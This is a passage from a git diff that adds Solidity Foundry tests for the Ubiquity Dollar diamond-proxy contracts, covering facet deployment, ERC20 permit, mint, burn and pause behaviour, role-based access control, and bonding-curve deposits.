= getSelectorsFromAbi( + "/out/AccessControlFacet.sol/AccessControlFacet.json" + ); + selectorsOfBondingCurveFacet = getSelectorsFromAbi( + "/out/BondingCurveFacet.sol/BondingCurveFacet.json" + ); + selectorsOfChefFacet = getSelectorsFromAbi( + "/out/ChefFacet.sol/ChefFacet.json" + ); + selectorsOfCollectableDustFacet = getSelectorsFromAbi( + "/out/CollectableDustFacet.sol/CollectableDustFacet.json" + ); + selectorsOfCreditClockFacet = getSelectorsFromAbi( + "/out/CreditClockFacet.sol/CreditClockFacet.json" + ); + selectorsOfCreditNftManagerFacet = getSelectorsFromAbi( + "/out/CreditNftManagerFacet.sol/CreditNftManagerFacet.json" + ); + selectorsOfCreditNftRedemptionCalculatorFacet = getSelectorsFromAbi( + "/out/CreditNftRedemptionCalculatorFacet.sol/CreditNftRedemptionCalculatorFacet.json" + ); + selectorsOfCreditRedemptionCalculatorFacet = getSelectorsFromAbi( + "/out/CreditRedemptionCalculatorFacet.sol/CreditRedemptionCalculatorFacet.json" + ); + selectorsOfCurveDollarIncentiveFacet = getSelectorsFromAbi( + "/out/CurveDollarIncentiveFacet.sol/CurveDollarIncentiveFacet.json" + ); + selectorsOfDiamondCutFacet = getSelectorsFromAbi( + "/out/DiamondCutFacet.sol/DiamondCutFacet.json" + ); + selectorsOfDiamondLoupeFacet = getSelectorsFromAbi( + "/out/DiamondLoupeFacet.sol/DiamondLoupeFacet.json" + ); + selectorsOfDollarMintCalculatorFacet = getSelectorsFromAbi( + "/out/DollarMintCalculatorFacet.sol/DollarMintCalculatorFacet.json" + ); + selectorsOfDollarMintExcessFacet = getSelectorsFromAbi( + "/out/DollarMintExcessFacet.sol/DollarMintExcessFacet.json" + ); + selectorsOfDirectGovernanceFarmerFacet = getSelectorsFromAbi( + "/out/DirectGovernanceFarmerFacet.sol/DirectGovernanceFarmerFacet.json" + ); + selectorsOfManagerFacet = getSelectorsFromAbi( + "/out/ManagerFacet.sol/ManagerFacet.json" + ); + selectorsOfOwnershipFacet = getSelectorsFromAbi( + "/out/OwnershipFacet.sol/OwnershipFacet.json" + ); + selectorsOfStakingFacet = getSelectorsFromAbi( + "/out/StakingFacet.sol/StakingFacet.json" + ); + selectorsOfStakingFormulasFacet = getSelectorsFromAbi( + "/out/StakingFormulasFacet.sol/StakingFormulasFacet.json" + ); + selectorsOfUbiquityPoolFacet = getSelectorsFromAbi( + "/out/UbiquityPoolFacet.sol/UbiquityPoolFacet.json" + ); + + // deploy facet implementation instances + accessControlFacetImplementation = new AccessControlFacet(); + bondingCurveFacetImplementation = new BondingCurveFacet(); + chefFacetImplementation = new ChefFacet(); + collectableDustFacetImplementation = new CollectableDustFacet(); + creditClockFacetImplementation = new CreditClockFacet(); + creditNftManagerFacetImplementation = new CreditNftManagerFacet(); + creditNftRedemptionCalculatorFacetImplementation = new CreditNftRedemptionCalculatorFacet(); + creditRedemptionCalculatorFacetImplementation = new CreditRedemptionCalculatorFacet(); + curveDollarIncentiveFacetImplementation = new CurveDollarIncentiveFacet(); + diamondCutFacetImplementation = new DiamondCutFacet(); + diamondLoupeFacetImplementation = new DiamondLoupeFacet(); + dollarMintCalculatorFacetImplementation = new DollarMintCalculatorFacet(); + dollarMintExcessFacetImplementation = new DollarMintExcessFacet(); + directGovernanceFarmerFacetImplementation = new DirectGovernanceFarmerFacet(); + managerFacetImplementation = new ManagerFacet(); + ownershipFacetImplementation = new OwnershipFacet(); + stakingFacetImplementation = new StakingFacet(); + stakingFormulasFacetImplementation = new StakingFormulasFacet(); + ubiquityPoolFacetImplementation = new UbiquityPoolFacet(); + + // prepare diamond init args + diamondInit = new DiamondInit(); + facetNames = [ + "AccessControlFacet", + "BondingCurveFacet", + "ChefFacet", + "CollectableDustFacet", + "CreditClockFacet", + "CreditNftManagerFacet", + "CreditNftRedemptionCalculatorFacet", + "CreditRedemptionCalculatorFacet", + "CurveDollarIncentiveFacet", + "DiamondCutFacet", + "DiamondLoupeFacet", + "DollarMintCalculatorFacet", + "DollarMintExcessFacet", + "DirectGovernanceFarmerFacet", + "ManagerFacet", + "OwnershipFacet", + "StakingFacet", + "StakingFormulasFacet", + "UbiquityPoolFacet" + ]; + DiamondInit.Args memory initArgs = DiamondInit.Args({ + admin: admin, + tos: new address[](0), + amounts: new uint256[](0), + stakingShareIDs: new uint256[](0), + governancePerBlock: 10e18, + creditNftLengthBlocks: 100 + }); + // diamond arguments + DiamondArgs memory _args = DiamondArgs({ + owner: owner, + init: address(diamondInit), + initCalldata: abi.encodeWithSelector( + DiamondInit.init.selector, + initArgs + ) + }); + + FacetCut[] memory cuts = new FacetCut[](19); + + cuts[0] = ( + FacetCut({ + facetAddress: address(accessControlFacetImplementation), + action: FacetCutAction.Add, + functionSelectors: selectorsOfAccessControlFacet + }) + ); + cuts[1] = ( + FacetCut({ + facetAddress: address(bondingCurveFacetImplementation), + action: FacetCutAction.Add, + functionSelectors: selectorsOfBondingCurveFacet + }) + ); + cuts[2] = ( + FacetCut({ + facetAddress: address(chefFacetImplementation), + action: FacetCutAction.Add, + functionSelectors: selectorsOfChefFacet + }) + ); + cuts[3] = ( + FacetCut({ + facetAddress: address(collectableDustFacetImplementation), + action: FacetCutAction.Add, + functionSelectors: selectorsOfCollectableDustFacet + }) + ); + cuts[4] = ( + FacetCut({ + facetAddress: address(creditClockFacetImplementation), + action: FacetCutAction.Add, + functionSelectors: selectorsOfCreditClockFacet + }) + ); + cuts[5] = ( + FacetCut({ + facetAddress: address(creditNftManagerFacetImplementation), + action: FacetCutAction.Add, + functionSelectors: selectorsOfCreditNftManagerFacet + }) + ); + cuts[6] = ( + FacetCut({ + facetAddress: address( + creditNftRedemptionCalculatorFacetImplementation + ), + action: FacetCutAction.Add, + functionSelectors: selectorsOfCreditNftRedemptionCalculatorFacet + }) + ); + cuts[7] = ( + FacetCut({ + facetAddress: address( + creditRedemptionCalculatorFacetImplementation + ), + action: FacetCutAction.Add, + functionSelectors: selectorsOfCreditRedemptionCalculatorFacet + }) + ); + cuts[8] = ( + FacetCut({ + facetAddress: address(curveDollarIncentiveFacetImplementation), + action: FacetCutAction.Add, + functionSelectors: selectorsOfCurveDollarIncentiveFacet + }) + ); + cuts[9] = ( + FacetCut({ + facetAddress: address(diamondCutFacetImplementation), + action: FacetCutAction.Add, + functionSelectors: selectorsOfDiamondCutFacet + }) + ); + cuts[10] = ( + FacetCut({ + facetAddress: address(diamondLoupeFacetImplementation), + action: FacetCutAction.Add, + functionSelectors: selectorsOfDiamondLoupeFacet + }) + ); + cuts[11] = ( + FacetCut({ + facetAddress: address(dollarMintCalculatorFacetImplementation), + action: FacetCutAction.Add, + functionSelectors: selectorsOfDollarMintCalculatorFacet + }) + ); + cuts[12] = ( + FacetCut({ + facetAddress: address(dollarMintExcessFacetImplementation), + action: FacetCutAction.Add, + functionSelectors: selectorsOfDollarMintExcessFacet + }) + ); + cuts[13] = ( + FacetCut({ + facetAddress: address( + directGovernanceFarmerFacetImplementation + ), + action: FacetCutAction.Add, + functionSelectors: selectorsOfDirectGovernanceFarmerFacet + }) + ); + cuts[14] = ( + FacetCut({ + facetAddress: address(managerFacetImplementation), + action: FacetCutAction.Add, + functionSelectors: selectorsOfManagerFacet + }) + ); + cuts[15] = ( + FacetCut({ + facetAddress: address(ownershipFacetImplementation), + action: FacetCutAction.Add, + functionSelectors: selectorsOfOwnershipFacet + }) + ); + cuts[16] = ( + FacetCut({ + facetAddress: address(stakingFacetImplementation), + action: FacetCutAction.Add, + functionSelectors: selectorsOfStakingFacet + }) + ); + cuts[17] = ( + FacetCut({ + facetAddress: address(stakingFormulasFacetImplementation), + action: FacetCutAction.Add, + functionSelectors: selectorsOfStakingFormulasFacet + }) + ); + cuts[18] = ( + FacetCut({ + facetAddress: address(ubiquityPoolFacetImplementation), + action: FacetCutAction.Add, + functionSelectors: selectorsOfUbiquityPoolFacet + }) + ); + + // deploy diamond + vm.prank(owner); + diamond = new Diamond(_args, cuts); + + // initialize diamond facets which point to the core diamond contract + accessControlFacet = AccessControlFacet(address(diamond)); + bondingCurveFacet = BondingCurveFacet(address(diamond)); + chefFacet = ChefFacet(address(diamond)); + collectableDustFacet = CollectableDustFacet(address(diamond)); + creditClockFacet = CreditClockFacet(address(diamond)); + creditNftManagerFacet = CreditNftManagerFacet(address(diamond)); + creditNftRedemptionCalculationFacet = CreditNftRedemptionCalculatorFacet( + address(diamond) + ); + creditRedemptionCalculationFacet = CreditRedemptionCalculatorFacet( + address(diamond) + ); + curveDollarIncentiveFacet = CurveDollarIncentiveFacet(address(diamond)); + diamondCutFacet = DiamondCutFacet(address(diamond)); + diamondLoupeFacet = DiamondLoupeFacet(address(diamond)); + dollarMintCalculatorFacet = DollarMintCalculatorFacet(address(diamond)); + dollarMintExcessFacet = DollarMintExcessFacet(address(diamond)); + directGovernanceFarmerFacet = DirectGovernanceFarmerFacet( + address(diamond) + ); + managerFacet = ManagerFacet(address(diamond)); + ownershipFacet = OwnershipFacet(address(diamond)); + stakingFacet = StakingFacet(address(diamond)); + stakingFormulasFacet = StakingFormulasFacet(address(diamond)); + ubiquityPoolFacet = UbiquityPoolFacet(address(diamond)); + + // get all addresses + facetAddressList = diamondLoupeFacet.facetAddresses(); + + vm.startPrank(admin); + + // grant diamond dollar minting and burning rights + accessControlFacet.grantRole( + CURVE_DOLLAR_MANAGER_ROLE, + address(diamond) + ); + // grant diamond dollar minting and burning rights + accessControlFacet.grantRole( + DOLLAR_TOKEN_MINTER_ROLE, + address(diamond) + ); + accessControlFacet.grantRole( + DOLLAR_TOKEN_BURNER_ROLE, + address(diamond) + ); + // grand diamond Credit token minting and burning rights + accessControlFacet.grantRole( + CREDIT_TOKEN_MINTER_ROLE, + address(diamond) + ); + accessControlFacet.grantRole( + CREDIT_TOKEN_BURNER_ROLE, + address(diamond) + ); + // grant diamond Governance token admin, minter and burner rights + accessControlFacet.grantRole( + GOVERNANCE_TOKEN_MANAGER_ROLE, + address(diamond) + ); + accessControlFacet.grantRole( + GOVERNANCE_TOKEN_MINTER_ROLE, + address(diamond) + ); + accessControlFacet.grantRole( + GOVERNANCE_TOKEN_BURNER_ROLE, + address(diamond) + ); + // grant diamond token minter rights + accessControlFacet.grantRole( + STAKING_SHARE_MINTER_ROLE, + address(diamond) + ); + + // init UUPS core contracts + __setupUUPS(address(diamond)); + + // deploy Curve's Dollar-3CRVLP metapool + MockERC20 curveTriPoolLpToken = new MockERC20("3CRV", "3CRV", 18); + MockCurveStableSwapMetaNG curveDollarMetaPool = new MockCurveStableSwapMetaNG( + address(dollarToken), + address(curveTriPoolLpToken) + ); + managerFacet.setStableSwapMetaPoolAddress(address(curveDollarMetaPool)); + + vm.stopPrank(); + } +} diff --git a/packages/contracts/test/diamond/ERC20UbiquityDollarTest.t.sol b/packages/contracts/test/diamond/ERC20UbiquityDollarTest.t.sol new file mode 100644 index 000000000..6b2bce334 --- /dev/null +++ b/packages/contracts/test/diamond/ERC20UbiquityDollarTest.t.sol @@ -0,0 +1,387 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import "./DiamondTestSetup.sol"; +import "../../src/dollar/libraries/Constants.sol"; + +contract ERC20UbiquityDollarTest is DiamondTestSetup { + event Minting( + address indexed mockAddr1, + address indexed minter, + uint256 amount + ); + + event Burning(address indexed burned, uint256 amount); + + // create owner and spender addresses + address erc20Owner; + uint256 erc20OwnerPrivateKey; + address erc20Spender; + uint256 erc20SpenderPrivateKey; + + function setUp() public override { + super.setUp(); + // create owner and spender addresses + (erc20Owner, erc20OwnerPrivateKey) = makeAddrAndKey("owner"); + (erc20Spender, erc20SpenderPrivateKey) = makeAddrAndKey("spender"); + } + + function testSetSymbol_ShouldRevert_IfMethodIsCalledNotByAdmin() public { + vm.expectRevert("ERC20Ubiquity: not admin"); + dollarToken.setSymbol("ANY_SYMBOL"); + } + + function testSetSymbol_ShouldSetSymbol() public { + vm.prank(admin); + dollarToken.setSymbol("ANY_SYMBOL"); + assertEq(dollarToken.symbol(), "ANY_SYMBOL"); + } + + function testPermit_ShouldRevert_IfDeadlineExpired() public { + // create owner's signature + bytes32 digest = keccak256( + abi.encodePacked( + "\x19\x01", + dollarToken.DOMAIN_SEPARATOR(), + keccak256( + abi.encode( + PERMIT_TYPEHASH, + erc20Owner, + erc20Spender, + 1 ether, + dollarToken.nonces(erc20Owner), + 0 + ) + ) + ) + ); + (uint8 v, bytes32 r, bytes32 s) = vm.sign(erc20OwnerPrivateKey, digest); + // run permit + vm.prank(erc20Spender); + vm.expectRevert("ERC20Permit: expired deadline"); + dollarToken.permit(erc20Owner, erc20Spender, 1 ether, 0, v, r, s); + } + + function testPermit_ShouldRevert_IfSignatureIsInvalid() public { + // create owner's signature + bytes32 digest = keccak256( + abi.encodePacked( + "\x19\x01", + dollarToken.DOMAIN_SEPARATOR(), + keccak256( + abi.encode( + PERMIT_TYPEHASH, + erc20Owner, + erc20Spender, + 1 ether, + dollarToken.nonces(erc20Owner), + block.timestamp + 1 days + ) + ) + ) + ); + (uint8 v, bytes32 r, bytes32 s) = vm.sign( + erc20SpenderPrivateKey, + digest + ); + // run permit + vm.prank(erc20Spender); + vm.expectRevert("ERC20Permit: invalid signature"); + dollarToken.permit( + erc20Owner, + erc20Spender, + 1 ether, + block.timestamp + 1 days, + v, + r, + s + ); + } + + function testPermit_ShouldIncreaseSpenderAllowance() public { + // create owner's signature + bytes32 digest = keccak256( + abi.encodePacked( + "\x19\x01", + dollarToken.DOMAIN_SEPARATOR(), + keccak256( + abi.encode( + PERMIT_TYPEHASH, + erc20Owner, + erc20Spender, + 1 ether, + dollarToken.nonces(erc20Owner), + block.timestamp + 1 days + ) + ) + ) + ); + (uint8 v, bytes32 r, bytes32 s) = vm.sign(erc20OwnerPrivateKey, digest); + // run permit + uint256 noncesBefore = dollarToken.nonces(erc20Owner); + vm.prank(erc20Spender); + dollarToken.permit( + erc20Owner, + erc20Spender, + 1 ether, + block.timestamp + 1 days, + v, + r, + s + ); + assertEq(dollarToken.allowance(erc20Owner, erc20Spender), 1 ether); + assertEq(dollarToken.nonces(erc20Owner), noncesBefore + 1); + } + + function testBurn_ShouldRevert_IfContractIsPaused() public { + vm.prank(admin); + dollarToken.pause(); + vm.expectRevert("Pausable: paused"); + dollarToken.burn(50); + } + + function testBurn_ShouldBurnTokens() public { + // mint 100 tokens to user + address mockAddress = makeAddr("user1"); + vm.prank(admin); + dollarToken.mint(mockAddress, 100); + assertEq(dollarToken.balanceOf(mockAddress), 100); + // burn 50 tokens from user + vm.prank(mockAddress); + vm.expectEmit(true, true, true, true); + emit Burning(mockAddress, 50); + dollarToken.burn(50); + assertEq(dollarToken.balanceOf(mockAddress), 50); + } + + function testBurnFrom_ShouldRevert_IfCalledNotByTheBurnerRole() public { + address mockAddress = makeAddr("user1"); + vm.expectRevert("Dollar token: not burner"); + dollarToken.burnFrom(mockAddress, 50); + } + + function testBurnFrom_ShouldRevert_IfContractIsPaused() public { + // mint 100 tokens to user + address mockAddress = makeAddr("user1"); + vm.prank(admin); + dollarToken.mint(mockAddress, 100); + assertEq(dollarToken.balanceOf(mockAddress), 100); + // create burner role + address burner = makeAddr("burner"); + vm.prank(admin); + accessControlFacet.grantRole( + keccak256("DOLLAR_TOKEN_BURNER_ROLE"), + burner + ); + // admin pauses contract + vm.prank(admin); + dollarToken.pause(); + // burn 50 tokens for user + vm.prank(burner); + vm.expectRevert("Pausable: paused"); + dollarToken.burnFrom(mockAddress, 50); + } + + function testBurnFrom_ShouldBurnTokensFromAddress() public { + // mint 100 tokens to user + address mockAddress = makeAddr("user1"); + vm.prank(admin); + dollarToken.mint(mockAddress, 100); + assertEq(dollarToken.balanceOf(mockAddress), 100); + // create burner role + address burner = makeAddr("burner"); + vm.prank(admin); + accessControlFacet.grantRole( + keccak256("DOLLAR_TOKEN_BURNER_ROLE"), + burner + ); + // burn 50 tokens for user + vm.prank(burner); + vm.expectEmit(true, true, true, true); + emit Burning(mockAddress, 50); + dollarToken.burnFrom(mockAddress, 50); + assertEq(dollarToken.balanceOf(mockAddress), 50); + } + + function testMint_ShouldRevert_IfCalledNotByTheMinterRole() public { + address mockAddress = makeAddr("user1"); + vm.expectRevert("Dollar token: not minter"); + dollarToken.mint(mockAddress, 100); + } + + function testMint_ShouldRevert_IfContractIsPaused() public { + vm.startPrank(admin); + dollarToken.pause(); + address mockAddress = makeAddr("user1"); + vm.expectRevert("Pausable: paused"); + dollarToken.mint(mockAddress, 100); + vm.stopPrank(); + } + + function testMint_ShouldMintTokens() public { + address mockAddress = makeAddr("user1"); + uint256 balanceBefore = dollarToken.balanceOf(mockAddress); + vm.prank(admin); + vm.expectEmit(true, true, false, true); + emit Minting(mockAddress, admin, 100); + dollarToken.mint(mockAddress, 100); + uint256 balanceAfter = dollarToken.balanceOf(mockAddress); + assertEq(balanceAfter - balanceBefore, 100); + } + + function testPause_ShouldRevert_IfCalledNotByThePauserRole() public { + vm.expectRevert("ERC20Ubiquity: not pauser"); + dollarToken.pause(); + } + + function testPause_ShouldPauseContract() public { + assertFalse(dollarToken.paused()); + vm.prank(admin); + dollarToken.pause(); + assertTrue(dollarToken.paused()); + } + + function testUnpause_ShouldRevert_IfCalledNotByThePauserRole() public { + // admin pauses contract + vm.prank(admin); + dollarToken.pause(); + vm.expectRevert("ERC20Ubiquity: not pauser"); + dollarToken.unpause(); + } + + function testUnpause_ShouldUnpauseContract() public { + vm.startPrank(admin); + accessControlFacet.pause(); + assertTrue(accessControlFacet.paused()); + accessControlFacet.unpause(); + assertFalse(accessControlFacet.paused()); + vm.stopPrank(); + } + + function testName_ShouldReturnTokenName() public { + // cspell: disable-next-line + assertEq(dollarToken.name(), "Ubiquity Dollar"); + } + + function testSymbol_ShouldReturnSymbolName() public { + // cspell: disable-next-line + assertEq(dollarToken.symbol(), "uAD"); + } + + function testTransfer_ShouldRevert_IfContractIsPaused() public { + // admin pauses contract + vm.prank(admin); + dollarToken.pause(); + // transfer tokens to user + address userAddress = makeAddr("user1"); + vm.prank(admin); + vm.expectRevert("Pausable: paused"); + dollarToken.transfer(userAddress, 10); + } + + function testTransferFrom_ShouldRevert_IfContractIsPaused() public { + // transfer tokens to user + address userAddress = makeAddr("user1"); + address user2Address = makeAddr("user2"); + vm.prank(admin); + dollarToken.mint(userAddress, 100); + // admin pauses contract + vm.prank(admin); + dollarToken.pause(); + vm.prank(userAddress); + dollarToken.approve(user2Address, 100); + vm.expectRevert("Pausable: paused"); + vm.prank(user2Address); + dollarToken.transferFrom(userAddress, user2Address, 100); + + // admin unpauses contract + vm.prank(admin); + dollarToken.unpause(); + + // transfer now should work + vm.prank(user2Address); + dollarToken.transferFrom(userAddress, user2Address, 100); + + assertEq(dollarToken.balanceOf(userAddress), 0); + assertEq(dollarToken.balanceOf(user2Address), 100); + } + + function testTransfer_ShouldTransferTokens() public { + // mint tokens to admin + vm.prank(admin); + dollarToken.mint(admin, 100); + // transfer tokens to user + address userAddress = makeAddr("user1"); + assertEq(dollarToken.balanceOf(userAddress), 0); + vm.prank(admin); + dollarToken.transfer(userAddress, 10); + assertEq(dollarToken.balanceOf(userAddress), 10); + } + + // test transferFrom function should transfer tokens from address + function testTransferFrom_ShouldTransferTokensFromAddress() public { + // mint tokens to admin + vm.prank(admin); + dollarToken.mint(admin, 100); + // transfer tokens to user + address userAddress = makeAddr("user1"); + address user2Address = makeAddr("user2"); + assertEq(dollarToken.balanceOf(userAddress), 0); + vm.prank(admin); + dollarToken.transfer(userAddress, 100); + assertEq(dollarToken.balanceOf(userAddress), 100); + // approve user2 to transfer tokens from user + vm.prank(userAddress); + dollarToken.approve(user2Address, 100); + // transfer tokens from user to user2 + vm.prank(user2Address); + dollarToken.transferFrom(userAddress, user2Address, 100); + assertEq(dollarToken.balanceOf(userAddress), 0); + assertEq(dollarToken.balanceOf(user2Address), 100); + } + + // test approve function should approve address to transfer tokens + function testApprove_ShouldApproveAddressToTransferTokens() public { + // mint tokens to admin + vm.prank(admin); + dollarToken.mint(admin, 100); + // transfer tokens to user + address userAddress = makeAddr("user1"); + address user2Address = makeAddr("user2"); + assertEq(dollarToken.balanceOf(userAddress), 0); + vm.prank(admin); + dollarToken.transfer(userAddress, 100); + assertEq(dollarToken.balanceOf(userAddress), 100); + // approve user2 to transfer tokens from user + vm.prank(userAddress); + dollarToken.approve(user2Address, 100); + // transfer tokens from user to user2 + vm.prank(user2Address); + dollarToken.transferFrom(userAddress, user2Address, 100); + assertEq(dollarToken.balanceOf(userAddress), 0); + assertEq(dollarToken.balanceOf(user2Address), 100); + } + + // test allowance function should return allowance + function testAllowance_ShouldReturnAllowance() public { + // mint tokens to admin + vm.prank(admin); + dollarToken.mint(admin, 100); + // transfer tokens to user + address userAddress = makeAddr("user1"); + address user2Address = makeAddr("user2"); + assertEq(dollarToken.balanceOf(userAddress), 0); + vm.prank(admin); + dollarToken.transfer(userAddress, 100); + assertEq(dollarToken.balanceOf(userAddress), 100); + // approve user2 to transfer tokens from user + vm.prank(userAddress); + dollarToken.approve(user2Address, 100); + // transfer tokens from user to user2 + vm.prank(user2Address); + dollarToken.transferFrom(userAddress, user2Address, 100); + assertEq(dollarToken.balanceOf(userAddress), 0); + assertEq(dollarToken.balanceOf(user2Address), 100); + assertEq(dollarToken.allowance(userAddress, user2Address), 0); + } +} diff --git a/packages/contracts/test/diamond/facets/AccessControlFacet.t.sol b/packages/contracts/test/diamond/facets/AccessControlFacet.t.sol new file mode 100644 index 000000000..b7c801b18 --- /dev/null +++ b/packages/contracts/test/diamond/facets/AccessControlFacet.t.sol @@ -0,0 +1,159 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import {AccessControlFacet} from "../../../src/dollar/facets/AccessControlFacet.sol"; +import "../../../src/dollar/libraries/Constants.sol"; +import "../DiamondTestSetup.sol"; +import {AddressUtils} from "../../../src/dollar/libraries/AddressUtils.sol"; + +import {UintUtils} from "../../../src/dollar/libraries/UintUtils.sol"; + +contract AccessControlFacetTest is DiamondTestSetup { + using AddressUtils for address; + using UintUtils for uint256; + + address mock_sender = address(0x111); + address mock_recipient = address(0x222); + address mock_operator = address(0x333); + + event RoleGranted( + bytes32 indexed role, + address indexed account, + address indexed sender + ); + + event RoleRevoked( + bytes32 indexed role, + address indexed account, + address indexed sender + ); + + // test grantRole function should work only for admin + function testGrantRole_ShouldWork() public { + vm.prank(admin); + vm.expectEmit(true, true, true, true); + emit RoleGranted(GOVERNANCE_TOKEN_BURNER_ROLE, mock_recipient, admin); + accessControlFacet.grantRole( + GOVERNANCE_TOKEN_BURNER_ROLE, + mock_recipient + ); + } + + // test grantRole function should revert if sender is not admin + function testGrantRole_ShouldRevertWhenNotAdmin() public { + vm.prank(mock_sender); + + vm.expectRevert( + abi.encodePacked( + "AccessControl: account ", + mock_sender.toString(), + " is missing role ", + uint256(DEFAULT_ADMIN_ROLE).toHexString(32) + ) + ); + accessControlFacet.grantRole( + GOVERNANCE_TOKEN_BURNER_ROLE, + mock_recipient + ); + } + + // test revokeRole function should work only for admin + function testRevokeRole_ShouldWork() public { + vm.prank(admin); + emit RoleGranted(GOVERNANCE_TOKEN_BURNER_ROLE, mock_recipient, admin); + accessControlFacet.grantRole( + GOVERNANCE_TOKEN_BURNER_ROLE, + mock_recipient + ); + + vm.prank(admin); + vm.expectEmit(true, true, true, true); + emit RoleRevoked(GOVERNANCE_TOKEN_BURNER_ROLE, mock_recipient, admin); + accessControlFacet.revokeRole( + GOVERNANCE_TOKEN_BURNER_ROLE, + mock_recipient + ); + } + + // test revokeRole function should revert if sender is not admin + function testRevokeRole_ShouldRevertWhenNotAdmin() public { + vm.prank(mock_sender); + + vm.expectRevert( + abi.encodePacked( + "AccessControl: account ", + mock_sender.toString(), + " is missing role ", + uint256(DEFAULT_ADMIN_ROLE).toHexString(32) + ) + ); + accessControlFacet.revokeRole( + GOVERNANCE_TOKEN_BURNER_ROLE, + mock_recipient + ); + } + + // test renounceRole function should work for grantee + function testRenounceRole_ShouldWork() public { + vm.prank(admin); + vm.expectEmit(true, true, true, true); + emit RoleGranted(GOVERNANCE_TOKEN_BURNER_ROLE, mock_recipient, admin); + accessControlFacet.grantRole( + GOVERNANCE_TOKEN_BURNER_ROLE, + mock_recipient + ); + + vm.prank(mock_recipient); + vm.expectEmit(true, true, true, true); + emit RoleRevoked( + GOVERNANCE_TOKEN_BURNER_ROLE, + mock_recipient, + mock_recipient + ); + accessControlFacet.renounceRole(GOVERNANCE_TOKEN_BURNER_ROLE); + } + + // test hasRole function should return true if role is granted + function testHasRole_ShouldReturnTrue() public { + vm.prank(admin); + accessControlFacet.grantRole( + GOVERNANCE_TOKEN_BURNER_ROLE, + mock_recipient + ); + assertTrue( + accessControlFacet.hasRole( + GOVERNANCE_TOKEN_BURNER_ROLE, + mock_recipient + ) + ); + } + + // test getRoleAdmin function should return correct admin role + function testGetRoleAdmin_ShouldReturnAdminRole() public { + bytes32 adminRole = accessControlFacet.getRoleAdmin( + GOVERNANCE_TOKEN_BURNER_ROLE + ); + assertEq(adminRole, DEFAULT_ADMIN_ROLE); + } + + function testSetRoleAdmin_ShouldRevertWhenNotAdmin() public { + vm.prank(mock_sender); + + vm.expectRevert("Manager: Caller is not admin"); + accessControlFacet.setRoleAdmin( + DOLLAR_TOKEN_BURNER_ROLE, + DEFAULT_ADMIN_ROLE + ); + } + + function testSetRoleAdmin_ShouldSetAdminRoleForGivenRole() public { + bytes32 adminRole = accessControlFacet.getRoleAdmin( + DOLLAR_TOKEN_MINTER_ROLE + ); + assertEq(adminRole, DEFAULT_ADMIN_ROLE); + vm.prank(admin); + accessControlFacet.setRoleAdmin(DOLLAR_TOKEN_MINTER_ROLE, PAUSER_ROLE); + adminRole = accessControlFacet.getRoleAdmin(DOLLAR_TOKEN_MINTER_ROLE); + assertEq(adminRole, PAUSER_ROLE); + } +} diff --git a/packages/contracts/test/diamond/facets/BondingCurveFacet.t.sol b/packages/contracts/test/diamond/facets/BondingCurveFacet.t.sol new file mode 100644 index 000000000..3fcb9a14c --- /dev/null +++ b/packages/contracts/test/diamond/facets/BondingCurveFacet.t.sol @@ -0,0 +1,202 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import "../DiamondTestSetup.sol"; +import "../../../src/dollar/libraries/Constants.sol"; +import "@openzeppelin/contracts/utils/math/SafeMath.sol"; +import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol"; +import {MockERC20} from "../../../src/dollar/mocks/MockERC20.sol"; +import {ERC1155Ubiquity} from "../../../src/dollar/core/ERC1155Ubiquity.sol"; +import {UbiquiStick} from "../../../src/ubiquistick/UbiquiStick.sol"; +import "forge-std/Test.sol"; + +contract BondingCurveFacetTest is DiamondTestSetup { + address treasury = address(0x3); + address secondAccount = address(0x4); + address thirdAccount = address(0x5); + address fourthAccount = address(0x6); + address fifthAccount = address(0x7); + + uint256 constant _ACCURACY = 10e18; + uint32 constant _MAX_WEIGHT = 1e6; + bytes32 constant _ONE = keccak256(abi.encodePacked(uint256(1))); + + mapping(address => uint256) public share; + + event Deposit(address indexed user, uint256 amount); + event Withdraw(uint256 amount); + event ParamsSet(uint32 connectorWeight, uint256 baseY); + + function setUp() public virtual override { + super.setUp(); + + vm.startPrank(admin); + + accessControlFacet.grantRole( + GOVERNANCE_TOKEN_MINTER_ROLE, + address(diamond) + ); + + // deploy UbiquiStick + UbiquiStick ubiquiStick = new UbiquiStick(); + ubiquiStick.setMinter(address(diamond)); + managerFacet.setUbiquistickAddress(address(ubiquiStick)); + + vm.stopPrank(); + } +} + +contract ZeroStateBonding is BondingCurveFacetTest { + using SafeMath for uint256; + using stdStorage for StdStorage; + + function testSetParams(uint32 connectorWeight, uint256 baseY) public { + uint256 connWeight; + connectorWeight = uint32(bound(connWeight, 1, 1000000)); + baseY = bound(baseY, 1, 1000000); + + vm.expectEmit(true, false, false, true); + emit ParamsSet(connectorWeight, baseY); + + vm.prank(admin); + bondingCurveFacet.setParams(connectorWeight, baseY); + + assertEq(connectorWeight, bondingCurveFacet.connectorWeight()); + assertEq(baseY, bondingCurveFacet.baseY()); + } + + function testSetParamsShouldRevertNotAdmin() public { + uint32 connWeight; + uint256 base; + uint32 connectorWeight = uint32(bound(connWeight, 1, 1000000)); + uint256 baseY = bound(base, 1, 1000000); + + vm.expectRevert("Manager: Caller is not admin"); + vm.prank(secondAccount); + bondingCurveFacet.setParams(connectorWeight, baseY); + } + + function testDeposit(uint32 connectorWeight, uint256 baseY) public { + uint256 collateralDeposited; + uint256 connWeight; + connectorWeight = uint32(bound(connWeight, 1, 1000000)); + baseY = bound(baseY, 1, 1000000); + + vm.prank(admin); + bondingCurveFacet.setParams(connectorWeight, baseY); + + uint256 initBal = dollarToken.balanceOf(secondAccount); + + vm.expectEmit(true, false, false, true); + emit Deposit(secondAccount, collateralDeposited); + bondingCurveFacet.deposit(collateralDeposited, secondAccount); + + uint256 finBal = dollarToken.balanceOf(secondAccount); + + uint256 tokReturned = bondingCurveFacet.purchaseTargetAmountFromZero( + collateralDeposited, + connectorWeight, + ACCURACY, + baseY + ); + + // Logic Test + uint256 baseN = collateralDeposited.add(baseY); + uint256 power = (baseN.mul(10 ** 18)).div(baseY); + uint256 result = ACCURACY + .mul(SafeMath.sub((power ** (connectorWeight)), 10 ** 18)) + .div(10 ** 18); + + assertEq(collateralDeposited, bondingCurveFacet.poolBalance()); + assertEq(collateralDeposited, finBal - initBal); + assertEq(tokReturned, result); + assertEq(tokReturned, bondingCurveFacet.getShare(secondAccount)); + assertEq(tokReturned, creditNft.balanceOf(secondAccount, 1)); + } + + function testWithdraw(uint32 connectorWeight, uint256 baseY) public { + 